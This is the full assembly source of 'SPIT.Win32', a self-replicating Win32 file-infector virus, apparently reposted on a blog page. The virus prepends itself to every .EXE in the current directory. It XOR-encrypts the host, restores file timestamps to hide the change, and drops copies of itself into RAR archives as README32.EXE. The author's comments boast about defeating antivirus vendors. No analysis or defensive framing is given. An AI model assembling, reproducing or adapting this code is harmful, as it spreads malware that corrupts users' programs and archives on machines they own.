Win32_Spit.asm

;
; SPIT.Win32 rev2.1
; a Bumblebee Win32 Virus
;
; . Yeah! It's simple but FULL Win32 compatible -i think-. A non-resident
; Win32 virus using ffirst 'n' fnext.
; . Copies into host: virus+host. When host execs copies host to
; temporary file and execs it. Then waits until exec ends to delete
; the tmp file. It's like a spit: petty but annoying if falls over you ;)
;
; . Is my 1st PE virus and can be improved -see icons on infected files-.
; But SPIT uses a simple way to infect!
;
; . Notes:
; - Uses WinExec 'cause CreateProcess is more complex.
; - Virus size is 8192 bytes (code+data+headers+...)
; - Marks Dos header with 'hk' on infected files
; - Makes a semi-random name for tmp file
;
; . What's new on rev2?
;
; - Only infect PE files
; - exec host before infect
; - Best random tmp name
; - Hide tmp host with hidden attribute while exec
; - Encrypts host -fuck you avers ;)-
; - no file time change
; - uses CD13 routines to drop over RAR file -Thanx CD13!-
;
; . What's new on rev2.1?
; - a stupid error fixed -WinExec 1st push must be 1 :(-
;
;
; . ThanX to...
;
; ... 29a for e-zines, CD13 for his cool stuff, and Lethal for
; find a bug when i think it was finished ...
;
;
; The way of the bee
;
; . yeah Lich... win32 programming is:
;
; push shit
; push moreShit
; push tooMuchShit
; call WinGoesToHell
;
;
; tasm /ml /m3 v32,,;
; tlink32 -Tpe -c v32,v32,, import32.lib
;

.386
locals
jumps
.model flat,STDCALL

; procs to import
extrn ExitProcess:PROC
extrn CreateFileA:PROC
extrn WriteFile:PROC
extrn CloseHandle:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn ReadFile:PROC
extrn GetCommandLineA:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn MessageBoxA:PROC
extrn _llseek:PROC
extrn GetFileSize:PROC
extrn DeleteFileA:PROC
extrn WinExec:PROC
extrn lstrcpy:PROC
extrn lstrcat:PROC
extrn GetSystemTime:PROC
extrn SetFileAttributesA:PROC
extrn GetFileTime:PROC
extrn SetFileTime:PROC


; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends

; struc from 29A INC files... THANX you a lot!
IMAGE_DOS_HEADER STRUC
MZ_magic DW ? ; Magic number
MZ_cblp DW ? ; Bytes on last page of file
MZ_cp DW ? ; Pages in file
MZ_crlc DW ? ; Relocations
MZ_cparhdr DW ? ; Size of header in paragraphs
MZ_minalloc DW ? ; Minimum extra paragraphs needed
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
MZ_ss DW ? ; Initial (relative) SS value
MZ_sp DW ? ; Initial SP value
MZ_csum DW ? ; Checksum
MZ_ip DW ? ; Initial IP value
MZ_cs DW ? ; Initial (relative) CS value
MZ_lfarlc DW ? ; File address of relocation table
MZ_ovno DW ? ; Overlay number
MZ_res DW 4 DUP (?) ; Reserved words
MZ_oemid DW ? ; OEM identifier (for e_oeminfo)
MZ_oeminfo DW ? ; OEM information; e_oemid specific
MZ_res2 DW 10 DUP (?) ; Reserved words
MZ_lfanew DD ? ; File address of new exe header
IMAGE_DOS_HEADER ENDS
IMAGE_SIZEOF_DOS_HEADER EQU SIZE IMAGE_DOS_HEADER

; for RAR drop
HeaderSize equ FinRARHeader-RARHeader
Size equ 8192

.DATA

dos_header IMAGE_DOS_HEADER <?> ; for inf check test
find_data WIN32_FIND_DATA <?> ; for ffirst 'n' fnext
fMask: db '*.EXE',0 ; mask for exe
ffHnd: dd ? ; ff'n'fn handle
fHnd: dd ? ; file handle
mHnd: dd ? ; memory handle
mtHnd: dd ? ; tmp memory handle
mtaHnd: dd ? ; tmp memory handle for args
commandLine: dd ? ; you know...
hArgs: db ? ; flag for has args
argsPos: dd ? ; pos of args in cmd line
fSize: dd ? ; tmp size of file
size2Read dd 0 ; used for r/w ops

titleb db 'Virus Report rev2.1',0
vid db 'SPIT.Win32 is a Bumblebee Win32 Virus',0ah,0dh
mess db 0ah,0dh,'Feel the power of Spain and die by the SpiT!'
db 0ah,0dh,0
tmpHost db 'bbbee'
rndHost db '000000.exe',0
execStatus: db 0 ; status after exec

sysTimeStruct db 16 dup(0)

; data for save time
stfHnd dd ?
time0 dd 0,0
time1 dd 0,0
time2 dd 0,0
sErr db 0

; data for RAR drop by CD13
dMask: db '*.RAR',0 ; mask for rar
Number dd 0
RARHeader: ; Header that we will add
RARHeaderCRC dw 0 ; We'll fill: CRC of header
RARType db 074h ; File Header
RARFlags dw 8000h
RARHeadsize dw HeaderSize
RARCompressed dd Size ; Compressed and Original
RAROriginal dd Size ; size are the same, we stored
RAROs db 0 ; OS: ms-dos
RARCrc32 dd 0 ; We must fill this field
RARFileTime db 063h,078h ; Time of the program
RARFileDate db 031h,024h ; Date of the proggy
RARNeedVer db 014h
RARMethod db 030h ; Method: storing
RARFnameSize dw FinRARHeader-RARName
RARAttrib dd 0
RARName db "README32.EXE" ; Name of file to drop

FinRARHeader label byte

.CODE

inicio:
lea eax,sysTimeStruct ; check for payload
push eax
call GetSystemTime

lea eax,sysTimeStruct ; april 5
cmp word ptr [eax+2],4
jne skipPay
cmp word ptr [eax+6],5
jne skipPay

push 1000h ; petty payload
lea eax,titleb
push eax
lea eax,vid
push eax
push 0
call MessageBoxA

skipPay:
call GetCommandLineA ; get command line
mov dword ptr [commandLine],eax

skipArgs: ; skip args
cmp dword ptr [eax],'EXE.'
je argsOk
inc eax
jmp skipArgs
argsOk:
add eax,4
cmp byte ptr [eax],0
jne hasArgs
mov byte ptr hArgs,0
jmp sHasArgs
hasArgs:
mov byte ptr [eax],0
mov byte ptr hArgs,1
mov dword ptr [argsPos],eax

sHasArgs:

call execHoste ; exec host

push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push 8192 ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc
cmp eax,0
je justOut ; ops... not memory to alloc?
mov dword ptr [mHnd],eax

xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
mov eax,dword ptr [commandLine]
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je justOut ; error: we can't infect ..snif..

mov dword ptr [fHnd],eax ; save handle

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 8192
push dword ptr [mHnd]
push dword ptr [fHnd]
call ReadFile ; read vx from hoste
mov eax,dword ptr size2Read
cmp eax,0
je justOut

mov eax,dword ptr [mHnd]
add eax,12h
mov word ptr [eax],'kh' ; infection sign
; -only needed in 1st infection-
; but...

hOwnClose:
mov eax,dword ptr [fHnd] ; close own file
push eax
call CloseHandle

lea eax,find_data ; find first *.exe
push eax
lea eax,fMask
push eax
call FindFirstFileA
cmp eax,-1
je goOut
mov dword ptr [ffHnd],eax

fnext:
call checkFile ; check file before infection process
jc noInfect
call infectFile

noInfect:
lea eax,find_data ; find next *.exe
push eax
mov eax,dword ptr [ffHnd]
push eax
call FindNextFileA
cmp eax,0
jne fnext

mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
push eax
call CloseHandle

goOut:
lea eax,find_data ; find first *.rar
push eax
lea eax,dMask
push eax
call FindFirstFileA
cmp eax,-1
je justOut
mov dword ptr [ffHnd],eax

fnextRar:
call saveTime
call drop
cmp byte ptr [sErr],1
je findNextRar
call restoreTime

findNextRar:
lea eax,find_data ; find next *.rar
push eax
mov eax,dword ptr [ffHnd]
push eax
call FindNextFileA
cmp eax,0
jne fnextRar

mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
push eax
call CloseHandle

justOut:
cmp byte ptr [execStatus],0 ; error while exec host?
je skipDelLoop

delLoop:
lea eax,tmpHost
push eax ; delete tmp hoste
call DeleteFileA
cmp eax,0
je delLoop ; wait until exec ends

skipDelLoop:
push 0h ; exit
call ExitProcess
jmp skipDelLoop

checkFile: ; checks file
push edx
lea edx,find_data.cFileName
call testIfPE
pop edx
jc checkErrOut

mov ax,word ptr dos_header.MZ_csum
cmp ax,'kh'
je checkErrOut ; check if it's infected yet

checkOut:
clc
ret

checkErrOut:
stc
ret

testIfPE:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
push edx
call CreateFileA ; open file for read (shared)
cmp eax,-1
je loadHErrOut

mov dword ptr [fHnd],eax ; save handle

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push IMAGE_SIZEOF_DOS_HEADER
lea eax,dos_header
push eax
push dword ptr [fHnd]
call ReadFile ; read DOS header
mov eax,dword ptr size2Read
cmp eax,0
je loadHErrOut

mov ax,word ptr [dos_header.MZ_magic]
add al,ah
cmp al,'M'+'Z' ; check it's a EXE
jne loadHErrOut

push 0
push dword ptr [dos_header.MZ_lfanew]
push dword ptr [fHnd]
call _llseek ; lseek to begin of PE header
cmp eax,-1
je loadHErrOut

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 2
lea eax,dos_header
push eax
push dword ptr [fHnd]
call ReadFile ; read PE sign
mov eax,dword ptr size2Read
cmp eax,0
je loadHErrOut

mov ax,word ptr [dos_header.MZ_magic]
add al,ah
cmp al,'P'+'E' ; check it's a PE
jne loadHErrOut

mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
clc
ret

loadHErrOut:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle
stc
ret

infectFile:

call saveTime ; save time of file

xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h OR 00000002h
push 40000000h OR 80000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open file for r/w (shared)
cmp eax,-1
je infErrOutNC

mov dword ptr [fHnd],eax ; save handle

push 0
push eax
call GetFileSize
cmp eax,-1
je infErrOutC

mov dword ptr [fSize],eax ; save size of file

push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push eax ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for future hoste
cmp eax,0
je infErrOutC ; ops... not memory to alloc?
mov dword ptr [mtHnd],eax

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push dword ptr [fSize]
push dword ptr [mtHnd]
push dword ptr [fHnd]
call ReadFile ; read future hoste
mov eax,dword ptr size2Read
cmp eax,0
je infErrOutC

push 0
push 0
push dword ptr [fHnd]
call _llseek ; lseek to begin of file
cmp eax,-1
je infErrOutC

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push 8192
push dword ptr [mHnd]
push dword ptr [fHnd]
call WriteFile ; write virii

call encrypt ; encrypt hoste

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
push dword ptr [fSize]
push dword ptr [mtHnd]
push dword ptr [fHnd]
call WriteFile ; write future hoste

push 00004000h
push dword ptr [fSize]
push dword ptr [mtHnd]
call VirtualFree ; free future host mem

infErrOutC:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle

infErrOutNC:
cmp byte ptr [sErr],0
jne skipRestoreTime
call restoreTime

skipRestoreTime:
ret

execHoste:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
mov eax,dword ptr [commandLine]
push eax
call CreateFileA ; open host file for read (shared)
cmp eax,-1
je exeErrOutNC

mov dword ptr [fHnd],eax ; save handle

push 0
push eax
call GetFileSize
cmp eax,-1
je exeErrOutC

sub eax,8192 ; sub virus size
mov dword ptr [fSize],eax ; save size of file

push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push eax ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for hoste
cmp eax,0
je exeErrOutC ; ops... not memory to alloc?
mov dword ptr [mtHnd],eax

push 0
push 8192
push dword ptr [fHnd]
call _llseek ; lseek to hoste of file
cmp eax,-1
je exeErrOutC

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
mov eax,dword ptr [fSize]
push eax
push dword ptr [mtHnd]
push dword ptr [fHnd]
call ReadFile ; read hoste
mov eax,dword ptr size2Read
cmp eax,0
je exeErrOutC

mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle

call encrypt ; dencrypt hoste

mov ecx,6
mov edx,offset rndHost
loopRnd:
call getRandom ; make a random tmp name
mov byte ptr [edx],al
inc edx
loop loopRnd

xor eax,eax
push eax
push 00000020h ; archive
push 1
push eax
push 00000001h OR 00000002h
push 40000000h
lea eax,tmpHost
push eax
call CreateFileA ; open new file for write (shared)
cmp eax,-1
je exeErrOutNC

push 0
mov dword ptr [size2Read],0
lea eax,size2Read
push eax
mov eax,dword ptr [fSize]
push eax
push dword ptr [mtHnd]
push dword ptr [fHnd]
call WriteFile ; write hoste

mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle

push 00004000h
push dword ptr [fSize]
push dword ptr [mtHnd]
call VirtualFree ; free future host mem

push 00000004h ; read/write page
push 00001000h ; mem commit (reserve phys mem)
push 1024 ; size to alloc
push 0h ; let system decide where to alloc
call VirtualAlloc ; alloc memory for hoste
cmp eax,0
je exeErrOutNC ; ops... not memory to alloc?
mov dword ptr [mtaHnd],eax

lea eax,tmpHost
push eax
mov eax,dword ptr [mtaHnd]
push eax
call lstrcpy ; make a command line

cmp byte ptr [hArgs],0 ; it has not arguments
je execNow

mov eax,dword ptr [argsPos]
mov byte ptr [eax],' '
push eax
mov eax,dword ptr [mtaHnd]
push eax
call lstrcat ; add arguments

execNow:
push 1
mov eax,dword ptr [mtaHnd]
push eax ; exec tmp hoste
call WinExec
mov byte ptr [execStatus],1

push 2
lea eax,tmpHost
push eax
call SetFileAttributesA ; hide file

ret

exeErrOutC:
mov eax,dword ptr [fHnd] ; close file
push eax
call CloseHandle

exeErrOutNC:
ret

getRandom:
in al,40h
cmp al,65
jb getRandom
cmp al,90
ja getRandom

ret

encrypt:
mov edi,dword ptr [mtHnd]
mov eax,dword ptr [fSize] ; use size low byte as ckey
mov ecx,dword ptr [fSize]
encryptLoop:
xor byte ptr [edi],al
inc edi
loop encryptLoop
ret

saveTime:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 80000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je saveErr ; error: we can't save time

mov dword ptr [stfHnd],eax

lea eax,time2
push eax
lea eax,time1
push eax
lea eax,time0
push eax
push dword ptr [stfHnd]
call GetFileTime

mov eax,dword ptr [stfHnd] ; close file
push eax
call CloseHandle
mov byte ptr [sErr],0
ret

saveErr:
mov byte ptr [sErr],1
ret

restoreTime:
xor eax,eax
push eax
push 00000080h
push 3
push eax
push 00000001h
push 40000000h
lea eax,find_data.cFileName
push eax
call CreateFileA ; open own file for read (shared)
cmp eax,-1
je restoreErr ; error: we can't restore time

mov dword ptr [stfHnd],eax

lea eax,time2
push eax
lea eax,time1
push eax
lea eax,time0
push eax
push dword ptr [stfHnd]
call SetFileTime

mov eax,dword ptr [stfHnd] ; close file
push eax
call CloseHandle

restoreErr:
ret

; CD13 routines modified for SPIT -cool routines!-
drop:
xor eax,eax ; open rar file
push eax
push 00000080h
push 3
push eax
push eax
push 40000000h
lea eax,find_data.cFileName
push eax
call CreateFileA
cmp eax,-1
je dropErr

mov dword ptr [fHnd],eax

xor eax,eax
push 02
push eax ; Move pointer to EOF
push dword ptr [fHnd]
call _llseek

mov esi,dword ptr [mHnd]
mov edi,Size ; Get CRC32 of the program
call CRC32 ; that we'll drop

mov dword ptr [RARCrc32],eax ; Save the CRC

mov esi,offset RARHeader+2
mov edi,HeaderSize-2
call CRC32 ; Get CRC32 of the header
mov word ptr [RARHeaderCRC],ax

xor eax,eax
push eax
push offset Number ; Number of bytes written
push HeaderSize
push offset RARHeader ; Write the header
push dword ptr [fHnd]
call WriteFile

mov word ptr [RARHeaderCRC],0
mov word ptr [RARCrc32],0 ; Blank these fields
mov word ptr [RARCrc32+2],0

push 0
push offset Number
push Size
push dword ptr [mHnd] ; Drop the file
push dword ptr [fHnd]
call WriteFile

push dword ptr [fHnd] ; Close it
call CloseHandle

dropErr:
ret

CRC32: cld ; Routine extracted from Vecna's
push ebx ; Inca virus! Muito brigado, friend!
mov ecx,-1 ; Calculates CRC32 at runtime, no
mov edx,ecx ; need of big tables.
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0edb8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
ret

Ends
End inicio
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值